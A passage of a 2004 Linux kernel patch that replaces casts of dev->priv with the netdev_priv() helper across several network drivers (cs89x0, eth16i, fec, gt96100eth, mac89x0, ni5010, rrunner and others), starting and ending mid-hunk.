macio_set_drvdata(mdev, dev); @@ -1408,7 +1408,7 @@ out_free: static int bmac_open(struct net_device *dev) { - struct bmac_data *bp = (struct bmac_data *) dev->priv; + struct bmac_data *bp = netdev_priv(dev); /* XXDEBUG(("bmac: enter open\n")); */ /* reset the chip */ bp->opened = 1; @@ -1420,7 +1420,7 @@ static int bmac_open(struct net_device * static int bmac_close(struct net_device *dev) { - struct bmac_data *bp = (struct bmac_data *) dev->priv; + struct bmac_data *bp = netdev_priv(dev); volatile struct dbdma_regs *rd = bp->rx_dma; volatile struct dbdma_regs *td = bp->tx_dma; unsigned short config; @@ -1469,7 +1469,7 @@ static int bmac_close(struct net_device static void bmac_start(struct net_device *dev) { - struct bmac_data *bp = dev->priv; + struct bmac_data *bp = netdev_priv(dev); int i; struct sk_buff *skb; unsigned long flags; @@ -1495,7 +1495,7 @@ bmac_start(struct net_device *dev) static int bmac_output(struct sk_buff *skb, struct net_device *dev) { - struct bmac_data *bp = dev->priv; + struct bmac_data *bp = netdev_priv(dev); skb_queue_tail(bp->queue, skb); bmac_start(dev); return 0; @@ -1504,7 +1504,7 @@ bmac_output(struct sk_buff *skb, struct static void bmac_tx_timeout(unsigned long data) { struct net_device *dev = (struct net_device *) data; - struct bmac_data *bp = (struct bmac_data *) dev->priv; + struct bmac_data *bp = netdev_priv(dev); volatile struct dbdma_regs *td = bp->tx_dma; volatile struct dbdma_regs *rd = bp->rx_dma; volatile struct dbdma_cmd *cp; @@ -1630,7 +1630,7 @@ bmac_proc_info(char *buffer, char **star static int __devexit bmac_remove(struct macio_dev *mdev) { struct net_device *dev = macio_get_drvdata(mdev); - struct bmac_data *bp = dev->priv; + struct bmac_data *bp = netdev_priv(dev); unregister_netdev(dev); diff -puN drivers/net/cs89x0.c~drivers_net_casts drivers/net/cs89x0.c --- linux-264-302-priv/drivers/net/cs89x0.c~drivers_net_casts 2004-03-02 13:38:28.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/cs89x0.c 2004-03-02 14:55:07.000000000 -0800 @@ -399,7 +399,7 @@ get_eeprom_cksum(int off, int len, int * static int __init cs89x0_probe1(struct net_device *dev, int ioaddr, int modular) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); static unsigned version_printed; int i; unsigned rev_type = 0; @@ -735,7 +735,7 @@ out1: static void get_dma_channel(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); if (lp->dma) { dev->dma = lp->dma; @@ -757,7 +757,7 @@ get_dma_channel(struct net_device *dev) static void write_dma(struct net_device *dev, int chip_type, int dma) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); if ((lp->isa_config & ANY_ISA_DMA) == 0) return; if (chip_type == CS8900) { @@ -770,7 +770,7 @@ write_dma(struct net_device *dev, int ch static void set_dma_cfg(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); if (lp->use_dma) { if ((lp->isa_config & ANY_ISA_DMA) == 0) { @@ -793,7 +793,7 @@ set_dma_cfg(struct net_device *dev) static int dma_bufcfg(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); if (lp->use_dma) return (lp->isa_config & ANY_ISA_DMA)? RX_DMA_ENBL : 0; else @@ -804,7 +804,7 @@ static int dma_busctl(struct net_device *dev) { int retval = 0; - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); if (lp->use_dma) { if (lp->isa_config & ANY_ISA_DMA) retval |= RESET_RX_DMA; /* Reset the DMA pointer */ @@ -820,7 +820,7 @@ dma_busctl(struct net_device *dev) static void dma_rx(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); struct sk_buff *skb; int status, length; unsigned char *bp = lp->rx_dma_ptr; @@ -882,7 +882,7 @@ skip_this_frame: void __init reset_chip(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); int ioaddr = dev->base_addr; int reset_start_time; @@ -912,7 +912,7 @@ void __init reset_chip(struct net_devic static void control_dc_dc(struct net_device *dev, int on_not_off) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); unsigned int selfcontrol; int timenow = jiffies; /* control the DC to DC convertor in the SelfControl register. @@ -940,7 +940,7 @@ control_dc_dc(struct net_device *dev, in static int detect_tp(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); int timenow = jiffies; int fdx; @@ -1055,7 +1055,7 @@ send_test_pkt(struct net_device *dev) static int detect_aui(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); if (net_debug > 1) printk("%s: Attempting AUI\n", dev->name); control_dc_dc(dev, 0); @@ -1071,7 +1071,7 @@ detect_aui(struct net_device *dev) static int detect_bnc(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); if (net_debug > 1) printk("%s: Attempting BNC\n", dev->name); control_dc_dc(dev, 1); @@ -1117,7 +1117,7 @@ write_irq(struct net_device *dev, int ch static int net_open(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); int result = 0; int i; int ret; @@ -1358,7 +1358,7 @@ static void net_timeout(struct net_devic static int net_send_packet(struct sk_buff *skb, struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); if (net_debug > 3) { printk("%s: sent %d byte packet of type %x\n", @@ -1419,7 +1419,7 @@ static irqreturn_t net_interrupt(int irq int handled = 0; ioaddr = dev->base_addr; - lp = (struct net_local *)dev->priv; + lp = netdev_priv(dev); /* we MUST read all the events out of the ISQ, otherwise we'll never get interrupted again. As a consequence, we can't have any limit @@ -1517,7 +1517,7 @@ count_rx_errors(int status, struct net_l static void net_rx(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); struct sk_buff *skb; int status, length; @@ -1573,7 +1573,7 @@ static void release_dma_buff(struct net_ static int net_close(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); netif_stop_queue(dev); @@ -1600,7 +1600,7 @@ net_close(struct net_device *dev) static struct net_device_stats * net_get_stats(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); unsigned long flags; spin_lock_irqsave(&lp->lock, flags); @@ -1614,7 +1614,7 @@ net_get_stats(struct net_device *dev) static void set_multicast_list(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); unsigned long flags; spin_lock_irqsave(&lp->lock, flags); @@ -1758,7 +1758,7 @@ init_module(void) dev->irq = irq; dev->base_addr = io; - lp = dev->priv; + lp = netdev_priv(dev); #if ALLOW_DMA if (use_dma) { diff -puN drivers/net/eth16i.c~drivers_net_casts drivers/net/eth16i.c --- linux-264-302-priv/drivers/net/eth16i.c~drivers_net_casts 2004-03-02 13:38:28.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/eth16i.c 2004-03-02 14:13:00.000000000 -0800 @@ -486,7 +486,7 @@ out: static int __init eth16i_probe1(struct net_device *dev, int ioaddr) { - struct eth16i_local *lp = dev->priv; + struct eth16i_local *lp = netdev_priv(dev); static unsigned version_printed; int retval; @@ -950,7 +950,7 @@ static void eth16i_eeprom_cmd(int ioaddr static int eth16i_open(struct net_device *dev) { - struct eth16i_local *lp = (struct eth16i_local *)dev->priv; + struct eth16i_local *lp = netdev_priv(dev); int ioaddr = dev->base_addr; /* Powerup the chip */ @@ -986,7 +986,7 @@ static int eth16i_open(struct net_device static int eth16i_close(struct net_device *dev) { - struct eth16i_local *lp = (struct eth16i_local *)dev->priv; + struct eth16i_local *lp = netdev_priv(dev); int ioaddr = dev->base_addr; eth16i_reset(dev); @@ -1012,7 +1012,7 @@ static int eth16i_close(struct net_devic static void eth16i_timeout(struct net_device *dev) { - struct eth16i_local *lp = (struct eth16i_local *)dev->priv; + struct eth16i_local *lp = netdev_priv(dev); int ioaddr = dev->base_addr; /* If we get here, some higher level has decided that @@ -1053,7 +1053,7 @@ static void eth16i_timeout(struct net_de static int eth16i_tx(struct sk_buff *skb, struct net_device *dev) { - struct eth16i_local *lp = (struct eth16i_local *)dev->priv; + struct eth16i_local *lp = netdev_priv(dev); int ioaddr = dev->base_addr; int status = 0; ushort length = skb->len; @@ -1130,7 +1130,7 @@ static int eth16i_tx(struct sk_buff *skb static void eth16i_rx(struct net_device *dev) { - struct eth16i_local *lp = (struct eth16i_local *)dev->priv; + struct eth16i_local *lp = netdev_priv(dev); int ioaddr = dev->base_addr; int boguscount = MAX_RX_LOOP; @@ -1232,7 +1232,7 @@ static irqreturn_t eth16i_interrupt(int int handled = 0; ioaddr = dev->base_addr; - lp = (struct eth16i_local *)dev->priv; + lp = netdev_priv(dev); /* Turn off all interrupts from adapter */ outw(ETH16I_INTR_OFF, ioaddr + TX_INTR_REG); @@ -1340,7 +1340,7 @@ static void eth16i_skip_packet(struct ne static void eth16i_reset(struct net_device *dev) { - struct eth16i_local *lp = (struct eth16i_local *)dev->priv; + struct eth16i_local *lp = netdev_priv(dev); int ioaddr = dev->base_addr; if(eth16i_debug > 1) @@ -1372,7 +1372,7 @@ static void eth16i_multicast(struct net_ static struct net_device_stats *eth16i_get_stats(struct net_device *dev) { - struct eth16i_local *lp = (struct eth16i_local *)dev->priv; + struct eth16i_local *lp = netdev_priv(dev); return &lp->stats; } diff -puN drivers/net/fec.c~drivers_net_casts drivers/net/fec.c --- linux-264-302-priv/drivers/net/fec.c~drivers_net_casts 2004-03-02 13:38:28.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/fec.c 2004-03-02 14:53:25.000000000 -0800 @@ -269,7 +269,7 @@ fec_enet_start_xmit(struct sk_buff *skb, volatile fec_t *fecp; volatile cbd_t *bdp; - fep = dev->priv; + fep = netdev_priv(dev); fecp = (volatile fec_t*)dev->base_addr; if (!fep->link) { @@ -349,7 +349,7 @@ fec_enet_start_xmit(struct sk_buff *skb, static void fec_timeout(struct net_device *dev) { - struct fec_enet_private *fep = dev->priv; + struct fec_enet_private *fep = netdev_priv(dev); printk("%s: transmit timed out.\n", dev->name); fep->stats.tx_errors++; @@ -445,7 +445,7 @@ fec_enet_tx(struct net_device *dev) volatile cbd_t *bdp; struct sk_buff *skb; - fep = dev->priv; + fep = netdev_priv(dev); spin_lock(&fep->lock); bdp = fep->dirty_tx; @@ -524,7 +524,7 @@ fec_enet_rx(struct net_device *dev) ushort pkt_len; __u8 *data; - fep = dev->priv; + fep = netdev_priv(dev); fecp = (volatile fec_t*)dev->base_addr; /* First, grab all of the stats for the incoming packet. @@ -645,7 +645,7 @@ fec_enet_mii(struct net_device *dev) mii_list_t *mip; uint mii_reg; - fep = (struct fec_enet_private *)dev->priv; + fep = netdev_priv(dev); ep = fec_hwp; mii_reg = ep->fec_mii_data; @@ -675,7 +675,7 @@ mii_queue(struct net_device *dev, int re /* Add PHY address to register command. */ - fep = dev->priv; + fep = netdev_priv(dev); regval |= fep->phy_addr << 23; retval = 0; @@ -720,7 +720,7 @@ static void mii_do_cmd(struct net_device static void mii_parse_sr(uint mii_reg, struct net_device *dev) { - struct fec_enet_private *fep = dev->priv; + struct fec_enet_private *fep = netdev_priv(dev); volatile uint *s = &(fep->phy_status); *s &= ~(PHY_STAT_LINK | PHY_STAT_FAULT | PHY_STAT_ANC); @@ -735,7 +735,7 @@ static void mii_parse_sr(uint mii_reg, s static void mii_parse_cr(uint mii_reg, struct net_device *dev) { - struct fec_enet_private *fep = dev->priv; + struct fec_enet_private *fep = netdev_priv(dev); volatile uint *s = &(fep->phy_status); *s &= ~(PHY_CONF_ANE | PHY_CONF_LOOP); @@ -748,7 +748,7 @@ static void mii_parse_cr(uint mii_reg, s static void mii_parse_anar(uint mii_reg, struct net_device *dev) { - struct fec_enet_private *fep = dev->priv; + struct fec_enet_private *fep = netdev_priv(dev); volatile uint *s = &(fep->phy_status); *s &= ~(PHY_CONF_SPMASK); @@ -774,7 +774,7 @@ static void mii_parse_anar(uint mii_reg, static void mii_parse_lxt970_csr(uint mii_reg, struct net_device *dev) { - struct fec_enet_private *fep = dev->priv; + struct fec_enet_private *fep = netdev_priv(dev); volatile uint *s = &(fep->phy_status); *s &= ~(PHY_STAT_SPMASK); @@ -841,7 +841,7 @@ static phy_info_t phy_info_lxt970 = { static void mii_parse_lxt971_sr2(uint mii_reg, struct net_device *dev) { - struct fec_enet_private *fep = dev->priv; + struct fec_enet_private *fep = netdev_priv(dev); volatile uint *s = &(fep->phy_status); *s &= ~(PHY_STAT_SPMASK | PHY_STAT_LINK | PHY_STAT_ANC); @@ -919,7 +919,7 @@ static phy_info_t phy_info_lxt971 = { static void mii_parse_qs6612_pcr(uint mii_reg, struct net_device *dev) { - struct fec_enet_private *fep = dev->priv; + struct fec_enet_private *fep = netdev_priv(dev); volatile uint *s = &(fep->phy_status); *s &= ~(PHY_STAT_SPMASK); @@ -983,7 +983,7 @@ static phy_info_t phy_info_qs6612 = { static void mii_parse_am79c874_dr(uint mii_reg, struct net_device *dev) { - struct fec_enet_private *fep = dev->priv; + struct fec_enet_private *fep = netdev_priv(dev); volatile uint *s = &(fep->phy_status); *s &= ~(PHY_STAT_SPMASK | PHY_STAT_ANC); @@ -1280,7 +1280,7 @@ static void __inline__ fec_uncache(unsig static void mii_display_status(struct net_device *dev) { - struct fec_enet_private *fep = dev->priv; + struct fec_enet_private *fep = netdev_priv(dev); volatile uint *s = &(fep->phy_status); if (!fep->link && !fep->old_link) { @@ -1316,7 +1316,7 @@ static void mii_display_status(struct ne static void mii_display_config(struct net_device *dev) { - struct fec_enet_private *fep = dev->priv; + struct fec_enet_private *fep = netdev_priv(dev); volatile uint *s = &(fep->phy_status); printk("%s: config: auto-negotiation ", dev->name); @@ -1347,7 +1347,7 @@ static void mii_display_config(struct ne static void mii_relink(struct net_device *dev) { - struct fec_enet_private *fep = dev->priv; + struct fec_enet_private *fep = netdev_priv(dev); int duplex; fep->link = (fep->phy_status & PHY_STAT_LINK) ? 1 : 0; @@ -1372,7 +1372,7 @@ static void mii_relink(struct net_device static void mii_queue_relink(uint mii_reg, struct net_device *dev) { - struct fec_enet_private *fep = dev->priv; + struct fec_enet_private *fep = netdev_priv(dev); INIT_WORK(&fep->phy_task, (void*)mii_relink, dev); schedule_work(&fep->phy_task); @@ -1380,7 +1380,7 @@ static void mii_queue_relink(uint mii_re static void mii_queue_config(uint mii_reg, struct net_device *dev) { - struct fec_enet_private *fep = dev->priv; + struct fec_enet_private *fep = netdev_priv(dev); INIT_WORK(&fep->phy_task, (void*)mii_display_config, dev); schedule_work(&fep->phy_task); @@ -1403,7 +1403,7 @@ mii_discover_phy3(uint mii_reg, struct n struct fec_enet_private *fep; int i; - fep = dev->priv; + fep = netdev_priv(dev); fep->phy_id |= (mii_reg & 0xffff); printk("fec: PHY @ 0x%x, ID 0x%08x", fep->phy_addr, fep->phy_id); @@ -1431,7 +1431,7 @@ mii_discover_phy(uint mii_reg, struct ne volatile fec_t *fecp; uint phytype; - fep = dev->priv; + fep = netdev_priv(dev); fecp = fec_hwp; if (fep->phy_addr < 32) { @@ -1466,7 +1466,7 @@ mii_link_interrupt(int irq, void * dev_i #endif { struct net_device *dev = dev_id; - struct fec_enet_private *fep = dev->priv; + struct fec_enet_private *fep = netdev_priv(dev); fec_phy_ack_intr(); @@ -1482,7 +1482,7 @@ mii_link_interrupt(int irq, void * dev_i static int fec_enet_open(struct net_device *dev) { - struct fec_enet_private *fep = dev->priv; + struct fec_enet_private *fep = netdev_priv(dev); /* I should reset the ring buffers here, but I don't yet know * a simple way to do that. @@ -1531,7 +1531,7 @@ fec_enet_close(struct net_device *dev) static struct net_device_stats *fec_enet_get_stats(struct net_device *dev) { - struct fec_enet_private *fep = (struct fec_enet_private *)dev->priv; + struct fec_enet_private *fep = netdev_priv(dev); return &fep->stats; } @@ -1557,7 +1557,7 @@ static void set_multicast_list(struct ne unsigned int i, j, bit, data, crc; unsigned char hash; - fep = (struct fec_enet_private *)dev->priv; + fep = netdev_priv(dev); ep = fec_hwp; if (dev->flags&IFF_PROMISC) { @@ -1643,7 +1643,7 @@ fec_set_mac_address(struct net_device *d */ int __init fec_enet_init(struct net_device *dev) { - struct fec_enet_private *fep = dev->priv; + struct fec_enet_private *fep = netdev_priv(dev); unsigned long mem_addr; volatile cbd_t *bdp; cbd_t *cbd_base; @@ -1807,7 +1807,7 @@ fec_restart(struct net_device *dev, int fecp = fec_hwp; - fep = dev->priv; + fep = netdev_priv(dev); /* Whack a reset. We should wait for this. */ @@ -1924,7 +1924,7 @@ fec_stop(struct net_device *dev) struct fec_enet_private *fep; fecp = fec_hwp; - fep = dev->priv; + fep = netdev_priv(dev); fecp->fec_x_cntrl = 0x01; /* Graceful transmit stop */ diff -puN drivers/net/gt96100eth.c~drivers_net_casts drivers/net/gt96100eth.c --- linux-264-302-priv/drivers/net/gt96100eth.c~drivers_net_casts 2004-03-02 13:38:28.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/gt96100eth.c 2004-03-02 14:55:22.000000000 -0800 @@ -277,7 +277,7 @@ read_MII(int phy_addr, u32 reg) static void dump_tx_desc(int dbg_lvl, struct net_device *dev, int i) { - struct gt96100_private *gp = (struct gt96100_private *)dev->priv; + struct gt96100_private *gp = netdev_priv(dev); gt96100_td_t *td = &gp->tx_ring[i]; dbg(dbg_lvl, "Tx descriptor at 0x%08lx:\n", virt_to_phys(td)); @@ -292,7 +292,7 @@ dump_tx_desc(int dbg_lvl, struct net_dev static void dump_rx_desc(int dbg_lvl, struct net_device *dev, int i) { - struct gt96100_private *gp = (struct gt96100_private *)dev->priv; + struct gt96100_private *gp = netdev_priv(dev); gt96100_rd_t *rd = &gp->rx_ring[i]; dbg(dbg_lvl, "Rx descriptor at 0x%08lx:\n", virt_to_phys(rd)); @@ -332,7 +332,7 @@ write_MII(int phy_addr, u32 reg, u16 dat static void dump_tx_ring(struct net_device *dev) { - struct gt96100_private *gp = (struct gt96100_private *)dev->priv; + struct gt96100_private *gp = netdev_priv(dev); int i; dbg(0, "%s: txno/txni/cnt=%d/%d/%d\n", __FUNCTION__, @@ -345,7 +345,7 @@ dump_tx_ring(struct net_device *dev) static void dump_rx_ring(struct net_device *dev) { - struct gt96100_private *gp = (struct gt96100_private *)dev->priv; + struct gt96100_private *gp = netdev_priv(dev); int i; dbg(0, "%s: rxno=%d\n", __FUNCTION__, gp->rx_next_out); @@ -359,7 +359,7 @@ static void dump_MII(int dbg_lvl, struct net_device *dev) { int i, val; - struct gt96100_private *gp = (struct gt96100_private *)dev->priv; + struct gt96100_private *gp = netdev_priv(dev); if (dbg_lvl <= GT96100_DEBUG) { for (i=0; i<7; i++) { @@ -419,7 +419,7 @@ dump_skb(int dbg_lvl, struct net_device static int gt96100_add_hash_entry(struct net_device *dev, unsigned char* addr) { - struct gt96100_private *gp = (struct gt96100_private *)dev->priv; + struct gt96100_private *gp = netdev_priv(dev); //u16 hashResult, stmp; //unsigned char ctmp, hash_ea[6]; u32 tblEntry1, tblEntry0, *tblEntryAddr; @@ -544,7 +544,7 @@ update_stats(struct gt96100_private *gp) static void abort(struct net_device *dev, u32 abort_bits) { - struct gt96100_private *gp = (struct gt96100_private *)dev->priv; + struct gt96100_private *gp = netdev_priv(dev); int timedout = 100; // wait up to 100 msec for hard stop to complete dbg(3, "%s\n", __FUNCTION__); @@ -582,7 +582,7 @@ abort(struct net_device *dev, u32 abort_ static void hard_stop(struct net_device *dev) { - struct gt96100_private *gp = (struct gt96100_private *)dev->priv; + struct gt96100_private *gp = netdev_priv(dev); dbg(3, "%s\n", __FUNCTION__); @@ -598,7 +598,7 @@ hard_stop(struct net_device *dev) static void enable_ether_irq(struct net_device *dev) { - struct gt96100_private *gp = (struct gt96100_private *)dev->priv; + struct gt96100_private *gp = netdev_priv(dev); u32 intMask; /* * route ethernet interrupt to GT_SERINT0 for port 0, @@ -631,7 +631,7 @@ enable_ether_irq(struct net_device *dev) static void disable_ether_irq(struct net_device *dev) { - struct gt96100_private *gp = (struct gt96100_private *)dev->priv; + struct gt96100_private *gp = netdev_priv(dev); u32 intMask; int intr_mask_reg = (gp->port_num == 0) ? GT96100_SERINT0_MASK : GT96100_INT0_HIGH_MASK; @@ -745,7 +745,7 @@ gt96100_probe1(int port_num) goto out1; } - gp = dev->priv; + gp = netdev_priv(dev); memset(gp, 0, sizeof(*gp)); // clear it @@ -839,7 +839,7 @@ out: static void reset_tx(struct net_device *dev) { - struct gt96100_private *gp = (struct gt96100_private *)dev->priv; + struct gt96100_private *gp = netdev_priv(dev); int i; abort(dev, sdcmrAT); @@ -877,7 +877,7 @@ reset_tx(struct net_device *dev) static void reset_rx(struct net_device *dev) { - struct gt96100_private *gp = (struct gt96100_private *)dev->priv; + struct gt96100_private *gp = netdev_priv(dev); int i; abort(dev, sdcmrAR); @@ -934,7 +934,7 @@ gt96100_check_tx_consistent(struct gt961 static int gt96100_init(struct net_device *dev) { - struct gt96100_private *gp = (struct gt96100_private *)dev->priv; + struct gt96100_private *gp = netdev_priv(dev); u32 tmp; u16 mii_reg; @@ -1115,7 +1115,7 @@ gt96100_close(struct net_device *dev) static int gt96100_tx(struct sk_buff *skb, struct net_device *dev) { - struct gt96100_private *gp = (struct gt96100_private *)dev->priv; + struct gt96100_private *gp = netdev_priv(dev); unsigned long flags; int nextIn; @@ -1187,7 +1187,7 @@ gt96100_tx(struct sk_buff *skb, struct n static int gt96100_rx(struct net_device *dev, u32 status) { - struct gt96100_private *gp = (struct gt96100_private *)dev->priv; + struct gt96100_private *gp = netdev_priv(dev); struct sk_buff *skb; int pkt_len, nextOut, cdp; gt96100_rd_t *rd; @@ -1296,7 +1296,7 @@ gt96100_rx(struct net_device *dev, u32 s static void gt96100_tx_complete(struct net_device *dev, u32 status) { - struct gt96100_private *gp = (struct gt96100_private *)dev->priv; + struct gt96100_private *gp = netdev_priv(dev); int nextOut, cdp; gt96100_td_t *td; u32 cmdstat; @@ -1385,7 +1385,7 @@ static irqreturn_t gt96100_interrupt(int irq, void *dev_id, struct pt_regs *regs) { struct net_device *dev = (struct net_device *)dev_id; - struct gt96100_private *gp = (struct gt96100_private *)dev->priv; + struct gt96100_private *gp = netdev_priv(dev); u32 status; int handled = 0; @@ -1486,7 +1486,7 @@ gt96100_interrupt(int irq, void *dev_id, static void gt96100_tx_timeout(struct net_device *dev) { - struct gt96100_private *gp = (struct gt96100_private *)dev->priv; + struct gt96100_private *gp = netdev_priv(dev); unsigned long flags; spin_lock_irqsave(&gp->lock, flags); @@ -1511,7 +1511,7 @@ gt96100_tx_timeout(struct net_device *de static void gt96100_set_rx_mode(struct net_device *dev) { - struct gt96100_private *gp = (struct gt96100_private *)dev->priv; + struct gt96100_private *gp = netdev_priv(dev); unsigned long flags; //struct dev_mc_list *mcptr; @@ -1555,7 +1555,7 @@ gt96100_set_rx_mode(struct net_device *d static struct net_device_stats * gt96100_get_stats(struct net_device *dev) { - struct gt96100_private *gp = (struct gt96100_private *)dev->priv; + struct gt96100_private *gp = netdev_priv(dev); unsigned long flags; dbg(3, "%s: dev=%p\n", __FUNCTION__, dev); diff -puN drivers/net/mac89x0.c~drivers_net_casts drivers/net/mac89x0.c --- linux-264-302-priv/drivers/net/mac89x0.c~drivers_net_casts 2004-03-02 13:38:28.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/mac89x0.c 2004-03-02 14:23:13.000000000 -0800 @@ -225,7 +225,7 @@ struct net_device * __init mac89x0_probe goto out; /* Initialize the net_device structure. */ - lp = (struct net_local *)dev->priv; + lp = netdev_priv(dev); /* Fill in the 'dev' fields. */ dev->base_addr = ioaddr; @@ -328,7 +328,7 @@ void __init reset_chip(struct net_device static int net_open(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); int i; /* Disable the interrupt for now */ @@ -392,7 +392,7 @@ net_send_packet(struct sk_buff *skb, str if (test_and_set_bit(0, (void*)&dev->tbusy) != 0) printk("%s: Transmitter access conflict.\n", dev->name); else { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); unsigned long flags; if (net_debug > 3) @@ -446,7 +446,7 @@ static irqreturn_t net_interrupt(int irq dev->interrupt = 1; ioaddr = dev->base_addr; - lp = (struct net_local *)dev->priv; + lp = netdev_priv(dev); /* we MUST read all the events out of the ISQ, otherwise we'll never get interrupted again. As a consequence, we can't have any limit @@ -505,7 +505,7 @@ static irqreturn_t net_interrupt(int irq static void net_rx(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); struct sk_buff *skb; int status, length; @@ -571,7 +571,7 @@ net_close(struct net_device *dev) static struct net_device_stats * net_get_stats(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); unsigned long flags; local_irq_save(flags); @@ -585,7 +585,7 @@ net_get_stats(struct net_device *dev) static void set_multicast_list(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); if(dev->flags&IFF_PROMISC) { diff -puN drivers/net/ni5010.c~drivers_net_casts drivers/net/ni5010.c --- linux-264-302-priv/drivers/net/ni5010.c~drivers_net_casts 2004-03-02 13:38:28.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/ni5010.c 2004-03-02 14:24:14.000000000 -0800 @@ -309,7 +309,7 @@ static int __init ni5010_probe1(struct n PRINTK2((KERN_DEBUG "%s: I/O #9 passed!\n", dev->name)); /* DMA is not supported (yet?), so no use detecting it */ - lp = (struct ni5010_local*)dev->priv; + lp = netdev_priv(dev); spin_lock_init(&lp->lock); @@ -484,7 +484,7 @@ static irqreturn_t ni5010_interrupt(int PRINTK2((KERN_DEBUG "%s: entering ni5010_interrupt\n", dev->name)); ioaddr = dev->base_addr; - lp = (struct ni5010_local *)dev->priv; + lp = netdev_priv(dev); spin_lock(&lp->lock); status = inb(IE_ISTAT); @@ -527,7 +527,7 @@ static void dump_packet(void *buf, int l /* We have a good packet, get it out of the buffer. */ static void ni5010_rx(struct net_device *dev) { - struct ni5010_local *lp = (struct ni5010_local *)dev->priv; + struct ni5010_local *lp = netdev_priv(dev); int ioaddr = dev->base_addr; unsigned char rcv_stat; struct sk_buff *skb; @@ -592,7 +592,7 @@ static void ni5010_rx(struct net_device static int process_xmt_interrupt(struct net_device *dev) { - struct ni5010_local *lp = (struct ni5010_local *)dev->priv; + struct ni5010_local *lp = netdev_priv(dev); int ioaddr = dev->base_addr; int xmit_stat; @@ -651,7 +651,7 @@ static int ni5010_close(struct net_devic closed. */ static struct net_device_stats *ni5010_get_stats(struct net_device *dev) { - struct ni5010_local *lp = (struct ni5010_local *)dev->priv; + struct ni5010_local *lp = netdev_priv(dev); PRINTK2((KERN_DEBUG "%s: entering ni5010_get_stats\n", dev->name)); @@ -693,7 +693,7 @@ static void ni5010_set_multicast_list(st static void hardware_send_packet(struct net_device *dev, char *buf, int length, int pad) { - struct ni5010_local *lp = (struct ni5010_local *)dev->priv; + struct ni5010_local *lp = netdev_priv(dev); int ioaddr = dev->base_addr; unsigned long flags; unsigned int buf_offs; diff -puN drivers/net/rrunner.c~drivers_net_casts drivers/net/rrunner.c --- linux-264-302-priv/drivers/net/rrunner.c~drivers_net_casts 2004-03-02 13:38:28.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/rrunner.c 2004-03-02 14:54:42.000000000 -0800 @@ -108,7 +108,7 @@ static int __devinit rr_init_one(struct goto out2; } - rrpriv = (struct rr_private *)dev->priv; + rrpriv = netdev_priv(dev); SET_MODULE_OWNER(dev); SET_NETDEV_DEV(dev, &pdev->dev); @@ -236,7 +236,7 @@ static void __devexit rr_remove_one (str struct net_device *dev = pci_get_drvdata(pdev); if (dev) { - struct rr_private *rr = dev->priv; + struct rr_private *rr = netdev_priv(dev); if (!(readl(&rr->regs->HostCtrl) & NIC_HALTED)){ printk(KERN_ERR "%s: trying to unload running NIC\n", @@ -308,7 +308,7 @@ static int rr_reset(struct net_device *d u32 start_pc; int i; - rrpriv = (struct rr_private *)dev->priv; + rrpriv = netdev_priv(dev); regs = rrpriv->regs; rr_load_firmware(dev); @@ -524,7 +524,7 @@ static int __init rr_init(struct net_dev u32 sram_size, rev; int i; - rrpriv = (struct rr_private *)dev->priv; + rrpriv = netdev_priv(dev); regs = rrpriv->regs; rev = readl(®s->FwRev); @@ -595,7 +595,7 @@ static int rr_init1(struct net_device *d int ecode = 0; short i; - rrpriv = (struct rr_private *)dev->priv; + rrpriv = netdev_priv(dev); regs = rrpriv->regs; spin_lock_irqsave(&rrpriv->lock, flags); @@ -761,7 +761,7 @@ static u32 rr_handle_event(struct net_de struct rr_regs *regs; u32 tmp; - rrpriv = (struct rr_private *)dev->priv; + rrpriv = netdev_priv(dev); regs = rrpriv->regs; while (prodidx != eidx){ @@ -960,7 +960,7 @@ static u32 rr_handle_event(struct net_de static void rx_int(struct net_device *dev, u32 rxlimit, u32 index) { - struct rr_private *rrpriv = (struct rr_private *)dev->priv; + struct rr_private *rrpriv = netdev_priv(dev); struct rr_regs *regs = rrpriv->regs; do { @@ -1052,7 +1052,7 @@ static irqreturn_t rr_interrupt(int irq, struct net_device *dev = (struct net_device *)dev_id; u32 prodidx, rxindex, 